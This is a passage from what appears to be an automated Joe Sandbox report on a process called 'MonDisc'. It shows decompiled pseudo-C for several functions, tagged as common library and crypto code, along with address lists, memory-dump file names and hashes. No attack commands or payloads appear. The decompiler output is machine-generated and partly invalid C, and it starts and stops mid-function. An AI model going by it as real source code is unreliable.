				E00007FF67FF6ED19B8F8(E00007FF67FF6ED18B150(0x30, __rcx, _t210, _t194 + 2, _t196, _t198, _t198), __rcx, __rcx, _t198);
				if ( *_t198 < 0) goto 0xed193b90;
				if ((r15b &  *(_t180 + 0x30) >> 0x00000002) == 0) goto 0xed193b90;
				r8d = _t132;
				E00007FF67FF6ED18B150(r13b, _t180, _t210, _t194 + 2, _t196, _t198, _t198);
				return E00007FF67FF6ED173DE0(r15b,  *(_t180 + 0x30) >> 2, _v48 ^ _t201);
			}

0x7ff6ed1938dc
0x7ff6ed1938dc
0x7ff6ed1938e1
0x7ff6ed1938ee
0x7ff6ed1938f2
0x7ff6ed1938fc
0x7ff6ed193901
0x7ff6ed19390a
0x7ff6ed19390d
0x7ff6ed19390d
0x7ff6ed193910
0x7ff6ed193910
0x7ff6ed193914
0x7ff6ed193918
0x7ff6ed19391a
0x7ff6ed193924
0x7ff6ed19392e
0x7ff6ed193934
0x7ff6ed19393e
0x7ff6ed193948
0x7ff6ed19394d
0x7ff6ed193953
0x7ff6ed193959
0x7ff6ed193963
0x7ff6ed19396b
0x7ff6ed193970
0x7ff6ed193975
0x7ff6ed19397a
0x7ff6ed193983
0x7ff6ed19398d
0x7ff6ed193993
0x7ff6ed193999
0x7ff6ed19399f
0x7ff6ed1939a5
0x7ff6ed1939ab
0x7ff6ed1939b0
0x7ff6ed1939b7
0x7ff6ed1939b9
0x7ff6ed1939be
0x7ff6ed1939c0
0x7ff6ed1939c7
0x7ff6ed1939ce
0x7ff6ed1939d6
0x7ff6ed1939d8
0x7ff6ed1939e3
0x7ff6ed1939e5
0x7ff6ed1939e9
0x7ff6ed1939f4
0x7ff6ed1939f6
0x7ff6ed1939fb
0x7ff6ed1939fd
0x7ff6ed193a06
0x7ff6ed193a09
0x7ff6ed193a0e
0x7ff6ed193a17
0x7ff6ed193a1b
0x7ff6ed193a24
0x7ff6ed193a2a
0x7ff6ed193a2f
0x7ff6ed193a35
0x7ff6ed193a3f
0x7ff6ed193a3f
0x7ff6ed193a46
0x7ff6ed193a50
0x7ff6ed193a52
0x7ff6ed193a55
0x7ff6ed193a5a
0x7ff6ed193a5f
0x7ff6ed193a66
0x7ff6ed193a6f
0x7ff6ed193a71
0x7ff6ed193a77
0x7ff6ed193a7a
0x7ff6ed193a7e
0x7ff6ed193a8e
0x7ff6ed193a98
0x7ff6ed193a9a
0x7ff6ed193a9d
0x7ff6ed193a9f
0x7ff6ed193aa9
0x7ff6ed193ab5
0x7ff6ed193ab9
0x7ff6ed193abb
0x7ff6ed193ac4
0x7ff6ed193aca
0x7ff6ed193acf
0x7ff6ed193ade
0x7ff6ed193ae3
0x7ff6ed193ae9
0x7ff6ed193af6
0x7ff6ed193afb
0x7ff6ed193b05
0x7ff6ed193b12
0x7ff6ed193b1c
0x7ff6ed193b1e
0x7ff6ed193b21
0x7ff6ed193b2a
0x7ff6ed193b2d
0x7ff6ed193b3a
0x7ff6ed193b4a
0x7ff6ed193b52
0x7ff6ed193b57
0x7ff6ed193b69
0x7ff6ed193b72
0x7ff6ed193b7d
0x7ff6ed193b82
0x7ff6ed193b8b
0x7ff6ed193bb8

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 077458d88f6b3d9986446729ce5f1ba46ea14850c79f661972042823db8c2980
Instruction ID: 6459b4285e12d802633cd6fae5cd72c070656c045abf732452bdc9c6eed3f85a
Opcode Fuzzy Hash: 077458d88f6b3d9986446729ce5f1ba46ea14850c79f661972042823db8c2980
Instruction Fuzzy Hash: 9E81B327A1820346EB68AA2D90007F926A1EF44B44F845536DD4ED73D9EF2FE846C74F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED193308 Relevance: .2, Instructions: 217
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 45%

			E00007FF67FF6ED193308(long long __rbx, long long __rcx, void* __rdx, long long __rbp, long long _a16, long long _a24) {
				void* _v40;
				signed int _v48;
				short _v52;
				short _v56;
				long long _v72;
				void* __rdi;
				void* __rsi;
				signed int _t74;
				void* _t76;
				void* _t107;
				void* _t108;
				unsigned int _t109;
				signed char _t110;
				signed short _t122;
				void* _t132;
				signed short _t133;
				void* _t134;
				signed long long _t174;
				long long _t180;
				void* _t193;
				signed long long _t194;
				long long _t196;
				intOrPtr* _t198;
				void* _t200;
				signed long long _t201;
				void* _t203;
				void* _t208;
				intOrPtr* _t210;
				signed long long _t211;

				_t197 = __rbp;
				_a16 = __rbx;
				_a24 = __rbp;
				_t201 = _t200 - 0x40;
				_t174 =  *0xed2361d8; // 0x3623d5dd24d9
				_v48 = _t174 ^ _t201;
				_t74 =  *(__rcx + 0x42) & 0x0000ffff;
				_t180 = __rcx;
				_t5 = _t196 - 0x20; // 0x58
				_t133 = _t5;
				_t6 = _t196 - 0x77; // 0x1
				r15d = _t6;
				_t134 = _t74 - 0x64;
				if (_t134 > 0) goto 0xed1933ab;
				if (_t134 == 0) goto 0xed193429;
				if (_t74 == 0x41) goto 0xed19343c;
				if (_t74 == 0x43) goto 0xed193395;
				if (_t74 - 0x44 <= 0) goto 0xed193445;
				if (_t74 - 0x47 <= 0) goto 0xed19343c;
				if (_t74 == 0x53) goto 0xed1933e5;
				if (_t74 == _t133) goto 0xed1933fa;
				if (_t74 == 0x5a) goto 0xed1933a1;
				if (_t74 == 0x61) goto 0xed19343c;
				if (_t74 != 0x63) goto 0xed193445;
				E00007FF67FF6ED196B48(_t74 - 0x63, __rcx, __rcx, _t196);
				goto 0xed193441;
				_t76 = E00007FF67FF6ED194BF8(_t108, __rcx, __rcx, _t196);
				goto 0xed193441;
				if (_t76 - 0x67 <= 0) goto 0xed19343c;
				if (_t76 == 0x69) goto 0xed193429;
				if (_t76 == 0x6e) goto 0xed193422;
				if (_t76 == 0x6f) goto 0xed193404;
				if (_t76 == 0x70) goto 0xed1933ec;
				if (_t76 == 0x73) goto 0xed1933e5;
				if (_t76 == 0x75) goto 0xed19342d;
				if (_t76 != 0x78) goto 0xed193445;
				goto 0xed193432;
				E00007FF67FF6ED199080(__rcx, __rcx, _t196);
				goto 0xed193441;
				 *((intOrPtr*)(__rcx + 0x38)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x3c)) = 0xb;
				r8b = r15b;
				goto 0xed193435;
				_t109 =  *(__rcx + 0x30);
				if ((r15b & _t109 >> 0x00000005) == 0) goto 0xed193418;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x30) = _t109;
				goto 0xed193432;
				E00007FF67FF6ED198690(__rcx, __rcx);
				goto 0xed193441;
				 *(__rcx + 0x30) =  *(__rcx + 0x30) | 0x00000010;
				r8d = 0;
				E00007FF67FF6ED197990(_t107, 0xa, 0x78, r15b & _t109 >> 0x00000005, __rcx, __rcx, _t193, _t196, __rbp, _t208);
				goto 0xed193441;
				if (E00007FF67FF6ED1959F8(0xa, 0x78, __rcx, __rcx, _t193, _t196, _t197, _t203) != 0) goto 0xed19344c;
				goto 0xed1935bf;
				if ( *((char*)(__rcx + 0x40)) != 0) goto 0xed1935bc;
				_t110 =  *(__rcx + 0x30);
				_v56 = 0;
				_v52 = 0;
				_t19 = _t193 + 0x20; // 0x20
				r13d = _t19;
				if ((r15b & 0) == 0) goto 0xed1934a6;
				if ((r15b & 0) == 0) goto 0xed193488;
				_t24 = _t193 + 0x2d; // 0x2d
				_v56 = _t24;
				goto 0xed1934a3;
				if ((r15b & _t110) == 0) goto 0xed193494;
				goto 0xed193481;
				if ((r15b & 0) == 0) goto 0xed1934a6;
				_v56 = r13w;
				_t194 = _t211;
				_t122 =  *(__rcx + 0x42) & 0x0000ffff;
				r9d = 0xffdf;
				if ((r9w & (_t122 & 0x0000ffff) - _t133) != 0) goto 0xed1934cb;
				if ((r15b & 0) == 0) goto 0xed1934cb;
				r8b = r15b;
				goto 0xed1934ce;
				r8b = 0;
				r9d = 0x30;
				if (r8b != 0) goto 0xed1934e7;
				if (0 == 0) goto 0xed193504;
				 *(_t201 + 0x30 + _t194 * 2) = r9w;
				if (_t122 == _t133) goto 0xed1934f8;
				if (_t122 != 0x41) goto 0xed1934fb;
				 *((short*)(_t201 + 0x32 + _t194 * 2)) = _t133 & 0x0000ffff;
				_t132 =  *((intOrPtr*)(__rcx + 0x34)) -  *((intOrPtr*)(__rcx + 0x50));
				if ((_t110 & 0x0000000c) != 0) goto 0xed193527;
				r8d = _t132;
				E00007FF67FF6ED18B150(r13b, __rcx, __rcx + 0x468, _t194 + 2, _t196, _t197, __rcx + 0x28);
				_t210 = __rcx + 0x468;
				_t198 = __rcx + 0x28;
				if ((r15b &  *( *_t210 + 0x14) >> 0x0000000c) == 0) goto 0xed19354f;
				if ( *((long long*)( *_t210 + 8)) != 0) goto 0xed19354f;
				 *_t198 =  *_t198;
				goto 0xed19356b;
				r8d = 0;
				_v72 = __rcx + 0x10;
				0xed19bf40();
				if ((r15b & 0) == 0) goto 0xed193590;
				if ((r15b &  *(__rcx + 0x30) >> 0x00000002) != 0) goto 0xed193590;
				r8d = _t132;
				E00007FF67FF6ED19B6F0(E00007FF67FF6ED18B150(0x30, __rcx, _t210, _t194 + 2, _t196, _t198, _t198), __rcx, __rcx, _t198);
				if ( *_t198 < 0) goto 0xed1935bc;
				if ((r15b &  *(_t180 + 0x30) >> 0x00000002) == 0) goto 0xed1935bc;
				r8d = _t132;
				E00007FF67FF6ED18B150(r13b, _t180, _t210, _t194 + 2, _t196, _t198, _t198);
				return E00007FF67FF6ED173DE0(r15b,  *(_t180 + 0x30) >> 2, _v48 ^ _t201);
			}

0x7ff6ed193308
0x7ff6ed193308
0x7ff6ed19330d
0x7ff6ed19331a
0x7ff6ed19331e
0x7ff6ed193328
0x7ff6ed19332d
0x7ff6ed193336
0x7ff6ed193339
0x7ff6ed193339
0x7ff6ed19333c
0x7ff6ed19333c
0x7ff6ed193340
0x7ff6ed193344
0x7ff6ed193346
0x7ff6ed193350
0x7ff6ed19335a
0x7ff6ed193360
0x7ff6ed19336a
0x7ff6ed193374
0x7ff6ed193379
0x7ff6ed19337f
0x7ff6ed193385
0x7ff6ed19338f
0x7ff6ed193397
0x7ff6ed19339c
0x7ff6ed1933a1
0x7ff6ed1933a6
0x7ff6ed1933af
0x7ff6ed1933b9
0x7ff6ed1933bf
0x7ff6ed1933c5
0x7ff6ed1933cb
0x7ff6ed1933d1
0x7ff6ed1933d7
0x7ff6ed1933dc
0x7ff6ed1933e3
0x7ff6ed1933e5
0x7ff6ed1933ea
0x7ff6ed1933ec
0x7ff6ed1933f3
0x7ff6ed1933fa
0x7ff6ed193402
0x7ff6ed193404
0x7ff6ed19340f
0x7ff6ed193411
0x7ff6ed193415
0x7ff6ed193420
0x7ff6ed193422
0x7ff6ed193427
0x7ff6ed193429
0x7ff6ed193432
0x7ff6ed193435
0x7ff6ed19343a
0x7ff6ed193443
0x7ff6ed193447
0x7ff6ed193450
0x7ff6ed193456
0x7ff6ed19345b
0x7ff6ed193461
0x7ff6ed19346b
0x7ff6ed19346b
0x7ff6ed193472
0x7ff6ed19347c
0x7ff6ed19347e
0x7ff6ed193481
0x7ff6ed193486
0x7ff6ed19348b
0x7ff6ed193492
0x7ff6ed19349b
0x7ff6ed19349d
0x7ff6ed1934a3
0x7ff6ed1934a6
0x7ff6ed1934aa
0x7ff6ed1934ba
0x7ff6ed1934c4
0x7ff6ed1934c6
0x7ff6ed1934c9
0x7ff6ed1934cb
0x7ff6ed1934d5
0x7ff6ed1934e1
0x7ff6ed1934e5
0x7ff6ed1934e7
0x7ff6ed1934f0
0x7ff6ed1934f6
0x7ff6ed1934fb
0x7ff6ed19350a
0x7ff6ed19350f
0x7ff6ed193515
0x7ff6ed193522
0x7ff6ed193527
0x7ff6ed193531
0x7ff6ed19353e
0x7ff6ed193548
0x7ff6ed19354a
0x7ff6ed19354d
0x7ff6ed193556
0x7ff6ed193559
0x7ff6ed193566
0x7ff6ed193576
0x7ff6ed19357e
0x7ff6ed193583
0x7ff6ed193595
0x7ff6ed19359e
0x7ff6ed1935a9
0x7ff6ed1935ae
0x7ff6ed1935b7
0x7ff6ed1935e4

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1a993039bbf85dc9ed2cd0a413f6d5c075562104ea3bdbf700b72929f25a7c6c
Instruction ID: 2f55515bff16ab829eba85f2821d60a25024a31c9d7ec2210c688a22dbf7027d
Opcode Fuzzy Hash: 1a993039bbf85dc9ed2cd0a413f6d5c075562104ea3bdbf700b72929f25a7c6c
Instruction Fuzzy Hash: C281F027A1820386FBA99E1D80047F926A0EF44B44F855136DD4DC769AEF2FE846860F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1AB4A0 Relevance: .1, Instructions: 92
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 68%

			E00007FF67FF6ED1AB4A0(void* __rax, long long __rbx, long long __rcx, void* __rsi, void* __rbp, void* __r8, long long _a8) {
				void* _t22;
				intOrPtr _t23;
				void* _t43;
				intOrPtr _t44;
				void* _t45;
				void* _t46;
				void* _t48;
				void* _t51;
				void* _t52;
				long long _t55;
				long long _t57;
				long long _t60;

				_t71 = __r8;
				_t67 = __rbp;
				_t66 = __rsi;
				_t57 = __rcx;
				_t51 = __rax;
				_a8 = __rbx;
				_t23 =  *((intOrPtr*)(__rcx + 0x50));
				_t55 = __rcx;
				_t43 = _t23 - 5;
				if (_t43 > 0) goto 0xed1ab540;
				if (_t43 == 0) goto 0xed1ab539;
				_t44 = _t23;
				if (_t44 == 0) goto 0xed1ab500;
				if (_t44 == 0) goto 0xed1ab4f1;
				if (_t44 == 0) goto 0xed1ab4ed;
				if (_t44 == 0) goto 0xed1ab4dd;
				_t45 = _t23 - 0xffffffffffffffff - 1;
				if (_t45 != 0) goto 0xed1ab554;
				goto 0xed1ab5ae;
				r8d = 1;
				goto 0xed1ab5b1;
				goto 0xed1ab4e2;
				E00007FF67FF6ED1AC0E8(_t22, 1, __rcx, __rcx, __rsi, __rbp, __r8);
				goto 0xed1ab5b6;
				E00007FF67FF6ED1A9F98(_t57 + 0x20, __r8);
				_t52 = _t51 - 1;
				if (_t45 == 0) goto 0xed1ab524;
				_t46 = _t52 - 1;
				if (_t46 != 0) goto 0xed1ab534;
				r8d = 0;
				E00007FF67FF6ED1A5454(0, _t55, _t55, _t66, __rbp);
				goto 0xed1ab531;
				r8d = 0;
				_t60 = _t55;
				dil = E00007FF67FF6ED1A4CF4(0, _t55, _t60);
				goto 0xed1ab5b6;
				goto 0xed1ab5ae;
				if (_t46 == 0) goto 0xed1ab5a9;
				if (_t46 == 0) goto 0xed1ab5a2;
				if (_t46 == 0) goto 0xed1ab577;
				if (2 == 1) goto 0xed1ab558;
				goto 0xed1ab5b6;
				_t48 =  *((intOrPtr*)(_t60 + 0x3c)) - dil;
				if (_t48 == 0) goto 0xed1ab565;
				goto 0xed1ab5b6;
				E00007FF67FF6ED1ADFE4(0, _t55, _t60,  *((intOrPtr*)(_t60 + 0x18)) -  *((intOrPtr*)(_t60 + 8)) >> 1, __r8);
				goto 0xed1ab5b6;
				E00007FF67FF6ED1A9F98(_t60 + 0x20, __r8);
				if (_t48 == 0) goto 0xed1ab599;
				if (_t52 - 1 == 1) goto 0xed1ab590;
				goto 0xed1ab534;
				r8d = 0;
				goto 0xed1ab51a;
				r8d = 0;
				_t9 = _t71 + 8; // 0x8
				goto 0xed1ab529;
				E00007FF67FF6ED1AB704(_t22, _t9, _t55, _t60 + 0x20, _t66, __r8);
				goto 0xed1ab5b6;
				r8d = 0;
				return E00007FF67FF6ED1AB994(_t22, 0x10, _t55, _t60 + 0x20, _t66, _t67);
			}

0x7ff6ed1ab4a0
0x7ff6ed1ab4a0
0x7ff6ed1ab4a0
0x7ff6ed1ab4a0
0x7ff6ed1ab4a0
0x7ff6ed1ab4a0
0x7ff6ed1ab4aa
0x7ff6ed1ab4ad
0x7ff6ed1ab4b0
0x7ff6ed1ab4b3
0x7ff6ed1ab4b9
0x7ff6ed1ab4bd
0x7ff6ed1ab4bf
0x7ff6ed1ab4c4
0x7ff6ed1ab4c9
0x7ff6ed1ab4ce
0x7ff6ed1ab4d0
0x7ff6ed1ab4d3
0x7ff6ed1ab4d8
0x7ff6ed1ab4e2
0x7ff6ed1ab4e8
0x7ff6ed1ab4ef
0x7ff6ed1ab4f6
0x7ff6ed1ab4fb
0x7ff6ed1ab504
0x7ff6ed1ab509
0x7ff6ed1ab50d
0x7ff6ed1ab50f
0x7ff6ed1ab513
0x7ff6ed1ab515
0x7ff6ed1ab51d
0x7ff6ed1ab522
0x7ff6ed1ab524
0x7ff6ed1ab529
0x7ff6ed1ab531
0x7ff6ed1ab537
0x7ff6ed1ab53e
0x7ff6ed1ab543
0x7ff6ed1ab548
0x7ff6ed1ab54d
0x7ff6ed1ab552
0x7ff6ed1ab556
0x7ff6ed1ab55a
0x7ff6ed1ab55e
0x7ff6ed1ab563
0x7ff6ed1ab570
0x7ff6ed1ab575
0x7ff6ed1ab57b
0x7ff6ed1ab584
0x7ff6ed1ab58a
0x7ff6ed1ab58e
0x7ff6ed1ab590
0x7ff6ed1ab597
0x7ff6ed1ab599
0x7ff6ed1ab59c
0x7ff6ed1ab5a0
0x7ff6ed1ab5a2
0x7ff6ed1ab5a7
0x7ff6ed1ab5ae
0x7ff6ed1ab5c0

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 601183c3d316ef583ba71ee3d636daa73cf0509a214ac9e1aae87f5dc513bad4
Instruction ID: 1586bd93615cc862256f5c1e3546afb6432c31f12b2bd6d524cb112100fd53b6
Opcode Fuzzy Hash: 601183c3d316ef583ba71ee3d636daa73cf0509a214ac9e1aae87f5dc513bad4
Instruction Fuzzy Hash: 04318B33E1C1D346F6B5962997557F91242AFA1380F289031D10E83ADAFC2FA44E9A0B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1AB264 Relevance: .1, Instructions: 91
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E00007FF67FF6ED1AB264(void* __rax, long long __rbx, long long __rcx, void* __rsi, void* __rbp, void* __r8, long long _a8) {
				void* __rdi;
				void* _t22;
				intOrPtr _t23;
				void* _t43;
				intOrPtr _t44;
				void* _t45;
				void* _t46;
				void* _t48;
				void* _t51;
				void* _t52;
				long long _t55;
				long long _t57;
				long long _t60;
				void* _t64;
				void* _t70;

				_t70 = __r8;
				_t66 = __rbp;
				_t65 = __rsi;
				_t57 = __rcx;
				_t51 = __rax;
				_a8 = __rbx;
				_t23 =  *((intOrPtr*)(__rcx + 0x50));
				_t55 = __rcx;
				_t43 = _t23 - 5;
				if (_t43 > 0) goto 0xed1ab304;
				if (_t43 == 0) goto 0xed1ab2fd;
				_t44 = _t23;
				if (_t44 == 0) goto 0xed1ab2c4;
				if (_t44 == 0) goto 0xed1ab2b5;
				if (_t44 == 0) goto 0xed1ab2b1;
				if (_t44 == 0) goto 0xed1ab2a1;
				_t45 = _t23 - 0xffffffffffffffff - 1;
				if (_t45 != 0) goto 0xed1ab318;
				goto 0xed1ab36f;
				r8d = 1;
				goto 0xed1ab372;
				goto 0xed1ab2a6;
				E00007FF67FF6ED1ABFD4(_t22, 1, __rcx, __rcx, __rsi, __rbp, __r8);
				goto 0xed1ab377;
				E00007FF67FF6ED1A9EFC(_t57 + 0x20, __r8);
				_t52 = _t51 - 1;
				if (_t45 == 0) goto 0xed1ab2e8;
				_t46 = _t52 - 1;
				if (_t46 != 0) goto 0xed1ab2f8;
				r8d = 0;
				E00007FF67FF6ED1A50A8(0, _t55, _t55, __rbp);
				goto 0xed1ab2f5;
				r8d = 0;
				_t60 = _t55;
				dil = E00007FF67FF6ED1A4950(0, _t55, _t60, _t64, _t65, _t66);
				goto 0xed1ab377;
				goto 0xed1ab36f;
				if (_t46 == 0) goto 0xed1ab36a;
				if (_t46 == 0) goto 0xed1ab363;
				if (_t46 == 0) goto 0xed1ab338;
				if (2 == 1) goto 0xed1ab31c;
				goto 0xed1ab377;
				_t48 =  *((intOrPtr*)(_t60 + 0x3a)) - dil;
				if (_t48 == 0) goto 0xed1ab329;
				goto 0xed1ab377;
				E00007FF67FF6ED1ADEF8(0, _t55, _t60,  *((intOrPtr*)(_t60 + 0x18)) -  *((intOrPtr*)(_t60 + 8)), __r8);
				goto 0xed1ab377;
				E00007FF67FF6ED1A9EFC(_t60 + 0x20, __r8);
				if (_t48 == 0) goto 0xed1ab35a;
				if (_t52 - 1 == 1) goto 0xed1ab351;
				goto 0xed1ab2f8;
				r8d = 0;
				goto 0xed1ab2de;
				r8d = 0;
				_t9 = _t70 + 8; // 0x8
				goto 0xed1ab2ed;
				E00007FF67FF6ED1AB628(_t22, _t9, _t52 - 1 - 1, _t55, _t60 + 0x20, _t65);
				goto 0xed1ab377;
				r8d = 0;
				return E00007FF67FF6ED1AB828(_t22, 0x10, r8d, _t55, _t60 + 0x20, _t65, _t66);
			}

0x7ff6ed1ab264
0x7ff6ed1ab264
0x7ff6ed1ab264
0x7ff6ed1ab264
0x7ff6ed1ab264
0x7ff6ed1ab264
0x7ff6ed1ab26e
0x7ff6ed1ab271
0x7ff6ed1ab274
0x7ff6ed1ab277
0x7ff6ed1ab27d
0x7ff6ed1ab281
0x7ff6ed1ab283
0x7ff6ed1ab288
0x7ff6ed1ab28d
0x7ff6ed1ab292
0x7ff6ed1ab294
0x7ff6ed1ab297
0x7ff6ed1ab29c
0x7ff6ed1ab2a6
0x7ff6ed1ab2ac
0x7ff6ed1ab2b3
0x7ff6ed1ab2ba
0x7ff6ed1ab2bf
0x7ff6ed1ab2c8
0x7ff6ed1ab2cd
0x7ff6ed1ab2d1
0x7ff6ed1ab2d3
0x7ff6ed1ab2d7
0x7ff6ed1ab2d9
0x7ff6ed1ab2e1
0x7ff6ed1ab2e6
0x7ff6ed1ab2e8
0x7ff6ed1ab2ed
0x7ff6ed1ab2f5
0x7ff6ed1ab2fb
0x7ff6ed1ab302
0x7ff6ed1ab307
0x7ff6ed1ab30c
0x7ff6ed1ab311
0x7ff6ed1ab316
0x7ff6ed1ab31a
0x7ff6ed1ab31e
0x7ff6ed1ab322
0x7ff6ed1ab327
0x7ff6ed1ab331
0x7ff6ed1ab336
0x7ff6ed1ab33c
0x7ff6ed1ab345
0x7ff6ed1ab34b
0x7ff6ed1ab34f
0x7ff6ed1ab351
0x7ff6ed1ab358
0x7ff6ed1ab35a
0x7ff6ed1ab35d
0x7ff6ed1ab361
0x7ff6ed1ab363
0x7ff6ed1ab368
0x7ff6ed1ab36f
0x7ff6ed1ab381

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08998937d8a809c9856ec2b01e27b27f0aa330fa138a4d09b968348546a506a0
Instruction ID: e31fc9f00dd403462031aecc15677c3448e61031fbd436765eebc8af5b84c2a1
Opcode Fuzzy Hash: 08998937d8a809c9856ec2b01e27b27f0aa330fa138a4d09b968348546a506a0
Instruction Fuzzy Hash: 15316333E1C1C386F6A5952987547FE1652AF823C0E648132C11D87D99FD2FF58D960B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1AB148 Relevance: .1, Instructions: 90
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 69%

			E00007FF67FF6ED1AB148(void* __rax, long long __rbx, long long __rcx, void* __rsi, void* __rbp, void* __r8, long long _a8) {
				void* _t21;
				intOrPtr _t22;
				void* _t42;
				intOrPtr _t43;
				void* _t44;
				void* _t45;
				void* _t47;
				void* _t51;
				long long _t54;
				long long _t56;
				long long _t59;
				void* _t68;

				_t68 = __r8;
				_t64 = __rbp;
				_t63 = __rsi;
				_t56 = __rcx;
				_a8 = __rbx;
				_t22 =  *((intOrPtr*)(__rcx + 0x48));
				_t54 = __rcx;
				_t42 = _t22 - 5;
				if (_t42 > 0) goto 0xed1ab1e8;
				if (_t42 == 0) goto 0xed1ab1e1;
				_t43 = _t22;
				if (_t43 == 0) goto 0xed1ab1a8;
				if (_t43 == 0) goto 0xed1ab199;
				if (_t43 == 0) goto 0xed1ab195;
				if (_t43 == 0) goto 0xed1ab185;
				_t44 = _t22 - 0xffffffffffffffff - 1;
				if (_t44 != 0) goto 0xed1ab1fc;
				goto 0xed1ab24f;
				r8d = 1;
				goto 0xed1ab252;
				goto 0xed1ab18a;
				E00007FF67FF6ED1ABF54(_t21, 1, __rax, __rcx, __rcx, __rsi, __rbp, __r8);
				goto 0xed1ab257;
				E00007FF67FF6ED1A9EFC(_t56 + 0x18, __r8);
				_t51 = __rax - 1;
				if (_t44 == 0) goto 0xed1ab1cc;
				_t45 = _t51 - 1;
				if (_t45 != 0) goto 0xed1ab1dc;
				r8d = 0;
				E00007FF67FF6ED1A4ED4(0, _t54, _t54);
				goto 0xed1ab1d9;
